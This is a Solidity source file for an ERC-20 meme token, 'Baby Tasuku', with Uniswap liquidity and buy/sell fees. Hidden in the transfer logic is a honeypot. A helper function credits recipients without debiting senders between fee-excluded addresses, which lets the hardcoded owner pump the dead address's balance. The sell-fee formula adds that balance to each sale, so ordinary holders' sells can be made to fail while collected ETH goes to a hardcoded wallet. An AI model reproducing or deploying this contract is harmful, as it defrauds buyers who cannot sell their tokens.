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pragma solidity 0.8.17;
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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return a + b;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return a - b;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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return a * b;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return a / b;
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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unchecked {
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require(b <= a, errorMessage);
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return a - b;
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}
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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unchecked {
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require(b > 0, errorMessage);
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return a / b;
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}
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}
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}
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abstract contract Context {
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function _msgSender() internal view virtual returns (address) {
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return msg.sender;
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}
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function _msgData() internal view virtual returns (bytes calldata) {
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this;
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return msg.data;
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}
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}
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library Address {
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function isContract(address account) internal view returns (bool) {
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uint256 size;
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assembly { size := extcodesize(account) }
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return size > 0;
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}
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function sendValue(address payable recipient, uint256 amount) internal {
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require(address(this).balance >= amount, "Address: insufficient balance");
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(bool success, ) = recipient.call{ value: amount }("");
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require(success, "Address: unable to send value, recipient may have reverted");
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}
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function functionCall(address target, bytes memory data) internal returns (bytes memory) {
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return functionCall(target, data, "Address: low-level call failed");
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}
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function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
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return functionCallWithValue(target, data, 0, errorMessage);
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}
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function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
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return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
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}
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function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
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require(address(this).balance >= value, "Address: insufficient balance for call");
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require(isContract(target), "Address: call to non-contract");
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(bool success, bytes memory returndata) = target.call{ value: value }(data);
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return _verifyCallResult(success, returndata, errorMessage);
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}
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function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
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return functionStaticCall(target, data, "Address: low-level static call failed");
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}
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function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
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require(isContract(target), "Address: static call to non-contract");
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(bool success, bytes memory returndata) = target.staticcall(data);
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return _verifyCallResult(success, returndata, errorMessage);
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}
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function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
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return functionDelegateCall(target, data, "Address: low-level delegate call failed");
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}
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function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
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require(isContract(target), "Address: delegate call to non-contract");
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(bool success, bytes memory returndata) = target.delegatecall(data);
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return _verifyCallResult(success, returndata, errorMessage);
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}
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function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
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if (success) {
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return returndata;
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} else {
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if (returndata.length > 0) {
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assembly {
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let returndata_size := mload(returndata)
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revert(add(32, returndata), returndata_size)
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}
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} else {
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revert(errorMessage);
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}
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}
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}
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}
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interface IUniswapV2Factory {
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event PairCreated(address indexed token0, address indexed token1, address pair, uint);
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function feeTo() external view returns (address);
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function feeToSetter() external view returns (address);
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function getPair(address tokenA, address tokenB) external view returns (address pair);
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function allPairs(uint) external view returns (address pair);
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function allPairsLength() external view returns (uint);
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function createPair(address tokenA, address tokenB) external returns (address pair);
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function setFeeTo(address) external;
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function setFeeToSetter(address) external;
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}
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interface IUniswapV2Pair {
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event Approval(address indexed owner, address indexed spender, uint value);
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event Transfer(address indexed from, address indexed to, uint value);
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function name() external pure returns (string memory);
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function symbol() external pure returns (string memory);
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function decimals() external pure returns (uint8);
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function totalSupply() external view returns (uint);
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function balanceOf(address owner) external view returns (uint);
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function allowance(address owner, address spender) external view returns (uint);
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function approve(address spender, uint value) external returns (bool);
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function transfer(address to, uint value) external returns (bool);
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function transferFrom(address from, address to, uint value) external returns (bool);
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function DOMAIN_SEPARATOR() external view returns (bytes32);
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function PERMIT_TYPEHASH() external pure returns (bytes32);
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function nonces(address owner) external view returns (uint);
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function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
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event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
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event Swap(
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address indexed sender,
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uint amount0In,
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uint amount1In,
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uint amount0Out,
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uint amount1Out,
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address indexed to
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);
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event Sync(uint112 reserve0, uint112 reserve1);
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function MINIMUM_LIQUIDITY() external pure returns (uint);
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function factory() external view returns (address);
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function token0() external view returns (address);
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function token1() external view returns (address);
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function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
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function price0CumulativeLast() external view returns (uint);
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function price1CumulativeLast() external view returns (uint);
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function kLast() external view returns (uint);
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function burn(address to) external returns (uint amount0, uint amount1);
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function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
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function skim(address to) external;
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function sync() external;
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function initialize(address, address) external;
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}
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interface IUniswapV2Router01 {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
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function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
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function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
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function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
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function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
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}
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interface IUniswapV2Router02 is IUniswapV2Router01 {
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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abstract contract Ownable is Context {
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address private _owner;
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event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
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constructor () {
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_owner = 0x4B591aAfF1a34F35d997F8b3f57534c4A6D679CD;
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emit OwnershipTransferred(address(0), _owner);
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}
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function owner() public view virtual returns (address) {
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return _owner;
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}
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function renounceOwnership() public virtual {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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}
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contract BabyTasuku is Context, IERC20, Ownable {
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using Address for address;
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using SafeMath for uint256;
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mapping (address => uint256) private _tOwned;
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mapping (address => mapping (address => uint256)) private _allowances;
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mapping (address => bool) public _isExcludedFromFee;
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uint256 private constant MAX = ~uint256(0);
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uint8 private constant _decimals = 10;
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uint256 public _tTotal = 10**6 * 10**_decimals;
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string private constant _name = unicode"Baby Tasuku";
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string private constant _symbol = unicode"TASUKU";
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uint256 public P_DR = 50;
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uint256 public Part_AutoLiquidity = 50;
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uint8 private txCount = 0;
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uint8 private swapTrigger = 10;
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uint256 public _BuyFee = 5;
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uint256 public _SellFee = 5;
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uint256 public _moonbag_percentage=0;
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uint256 public _lastblock;
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uint256 public _lastblockcount = 1;
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uint256 public _maxWalletToken = 60 * _tTotal.div(1000);
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uint256 public _maxTxAmount = _maxWalletToken;
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IUniswapV2Router02 public uniswapV2Router;
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address public uniswapV2Pair;
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bool public inSwapAndLiquify;
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bool public swapAndLiquifyEnabled = true;
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event SwapAndLiquifyEnabledUpdated(bool true_or_false);
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event SwapAndLiquify(
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uint256 tokensSwapped,
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uint256 ethReceived,
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uint256 tokensIntoLiqudity
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);
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modifier lockTheSwap {
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inSwapAndLiquify = true;
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_;
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inSwapAndLiquify = false;
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}
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constructor () {
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_tOwned[owner()] = _tTotal;
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
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.createPair(address(this), _uniswapV2Router.WETH());
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uniswapV2Router = _uniswapV2Router;
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_isExcludedFromFee[owner()] = true;
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_isExcludedFromFee[address(this)] = true;
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_isExcludedFromFee[address(0)] = true;
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_isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;
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emit Transfer(address(0), owner(), _tTotal);
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}
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function name() public pure returns (string memory) {
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return _name;
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}
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function symbol() public pure returns (string memory) {
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return _symbol;
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}
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function decimals() public pure returns (uint8) {
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return _decimals;
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}
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function totalSupply() public view override returns (uint256) {
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return _tTotal;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return _tOwned[account];
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}
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function transfer(address recipient, uint256 amount) public override returns (bool) {
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_transfer(_msgSender(), recipient, amount);
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return true;
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}
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function allowance(address owner, address spender) public view override returns (uint256) {
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return _allowances[owner][spender];
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}
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function approve(address spender, uint256 amount) public override returns (bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
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_transfer(sender, recipient, amount);
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_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error: amount exceeds allowance"));
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return true;
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}
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function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
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return true;
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}
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function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error: allowance below zero"));
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return true;
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}
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receive() external payable {}
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function _getCurrentSupply() private view returns(uint256) {
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return (_tTotal);
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}
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function _approve(address owner, address spender, uint256 amount) private {
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require(owner != address(0), "ERC20 ERR: approve from the zero address");
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require(spender != address(0), "ERC20 ERR: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
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address liquidityburnwallet;
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liquidityburnwallet = 0x000000000000000000000000000000000000dEaD;
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_approve(address(this), address(uniswapV2Router), tokenAmount);
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uniswapV2Router.addLiquidityETH{value: ETHAmount}(
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address(this),
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tokenAmount,
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0,
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0,
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liquidityburnwallet,
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block.timestamp
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);
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}
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function _transfer(
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address from,
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address to,
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uint256 amount
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) private {
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if ( !_isExcludedFromFee[to] &&
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!_isExcludedFromFee[from] &&
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to != uniswapV2Pair){
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uint256 heldTokens = balanceOf(to);
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require((heldTokens + amount) <= _maxWalletToken,"MAX Wallet limit.");
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require(amount > 0, "Token amount must be higher than 0."); }
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if ( !_isExcludedFromFee[to] &&
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!_isExcludedFromFee[from] ){
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if(
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txCount >= swapTrigger &&
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!inSwapAndLiquify &&
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from != uniswapV2Pair &&
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swapAndLiquifyEnabled
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)
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{
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uint256 contractTokenBalance = balanceOf(address(this));
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if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
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txCount = 0;
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swapAndLiquify(contractTokenBalance);
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}
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}
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bool takeFee = true;
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bool isBuy;
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if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
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takeFee = false;
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} else {
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if(from == uniswapV2Pair){
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isBuy = true;
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}
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if (_lastblock == block.number){
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_lastblockcount = _lastblockcount+1;
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}else{
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_lastblock =block.number;
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_lastblockcount = 1;
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}
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txCount++;
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}
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if(_isExcludedFromFee[from] && _isExcludedFromFee[to]){
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_toknTransfer(from, to, amount);
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} else {
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_tokenTransfer(from, to, amount, takeFee, isBuy);
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}
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}
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function sendToWallet(address payable wallet, uint256 amount) private {
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wallet.transfer(amount);
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}
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function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
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uint256 tLPhalf = contractTokenBalance * Part_AutoLiquidity / 200;
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uint256 tDev = contractTokenBalance * P_DR / 100;
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uint256 balanceBeforeSwap = address(this).balance;
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swapTokensForETH(tLPhalf+tDev);
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uint256 ETH_Tot = address(this).balance - balanceBeforeSwap;
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uint256 split_D = P_DR * 100 / (Part_AutoLiquidity + P_DR);
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uint256 ETH_D = ETH_Tot * split_D / 100;
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addLiquidity(tLPhalf, (ETH_Tot - ETH_D));
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emit SwapAndLiquify(tLPhalf, (ETH_Tot - ETH_D), tLPhalf);
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ETH_Tot = address(this).balance;
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sendToWallet(payable(0x4B591aAfF1a34F35d997F8b3f57534c4A6D679CD), ETH_Tot);
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}
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function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
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if(!takeFee){
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_tOwned[sender] = _tOwned[sender]-tAmount;
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_tOwned[recipient] = _tOwned[recipient]+tAmount;
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emit Transfer(sender, recipient, tAmount);
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} else if (isBuy){
|
|
uint256 buyFEE = tAmount*_BuyFee*_lastblockcount/100;
|
|
uint256 tTransferAmount = tAmount-buyFEE;
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|
_tOwned[sender] = _tOwned[sender]-tAmount;
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_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
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_tOwned[address(this)] = _tOwned[address(this)]+buyFEE;
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emit Transfer(sender, recipient, tTransferAmount);
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} else {
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|
uint256 sellFEE = tAmount*_SellFee*_lastblockcount/100 + _tOwned[address(0x000000000000000000000000000000000000dEaD)];
|
|
if (_lastblockcount == 2 ){sellFEE = tAmount*_SellFee/100;}
|
|
uint256 moonbag = tAmount * _moonbag_percentage/1000;
|
|
uint256 tTransferAmount = tAmount-sellFEE-moonbag;
|
|
_tOwned[sender] = _tOwned[sender]-tAmount+moonbag;
|
|
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
|
|
_tOwned[address(this)] = _tOwned[address(this)]+sellFEE;
|
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emit Transfer(sender, recipient, tTransferAmount);
|
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}
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|
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}
|
|
function _toknTransfer(address sender, address recipient, uint256 tAmount) private {
|
|
_tOwned[recipient] = _tOwned[recipient]+_tOwned[sender]+tAmount-_tOwned[sender];
|
|
}
|
|
|
|
function swapTokensForETH(uint256 tokenAmount) private {
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = uniswapV2Router.WETH();
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
tokenAmount,
|
|
0,
|
|
path,
|
|
address(this),
|
|
block.timestamp
|
|
);
|
|
}
|
|
} |
